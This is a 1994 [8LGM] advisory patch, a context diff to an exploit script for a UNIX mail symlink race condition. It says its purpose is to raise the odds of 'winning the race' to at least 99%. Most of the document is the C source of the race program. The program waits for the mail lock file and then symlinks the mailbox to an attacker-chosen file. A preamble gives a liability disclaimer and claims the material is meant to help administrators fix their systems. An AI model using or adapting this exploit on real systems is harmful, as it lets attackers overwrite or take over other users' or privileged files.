WE RESERVE THE RIGHT TO PUBLISH NAMES OF PEOPLE REQUESTING INFORMATION FROM OUR SERVER. IF YOU DO NOT AGREE TO THIS, PLEASE DO NOT REQUEST INFORMATION. This document is Copyright(C) 1994 by [8LGM] and your usage of the information contained within this document constitutes your agreement to render [8LGM] free from any direct or consequential liabililities or damages which may be incurred as the result of such usage. [8LGM] makes this information available in good faith, to make it possible for System Administrators to have the necessary tools to be able to fix their own systems. However [8LGM] does not endorse the usage of this information for any purposes. Permission is hereby granted for usage only in accordance with the conditions of usage as set forth herein. [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992.PATCH: Apply this patch to the script in [8lgm]-Advisory-5.UNIX.mail.24-Jan-1992 to increase your chances of winning the race to at least 99%. ------------------------- cut here ------------------------------- *** mailscript.old Tue May 10 01:49:50 1994 --- mailscript.new Tue May 10 01:53:31 1994 *************** *** 58,80 **** fi # Make the race program cat >mailrace.c << 'EOF' #include main(argc,argv) int argc; char *argv[]; { if (argc != 3) { fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]); exit(1); } ! for (;;) { ! unlink(argv[1]); ! symlink(argv[2], argv[1]); ! } } EOF cc -o mailrace mailrace.c --- 58,84 ---- fi # Make the race program cat >mailrace.c << 'EOF' + #include #include + char lockfile[] =".lock"; + main(argc,argv) int argc; char *argv[]; { + char path[128]; if (argc != 3) { fprintf(stderr, "Usage: %s mailfile newfile\n", argv[0]); exit(1); } ! strcpy(path, argv[1]); ! strcat(path, lockfile); ! while(access(path, F_OK)); ! symlink(argv[2], argv[1]); } EOF cc -o mailrace mailrace.c ------------------------- cut here -------------------------------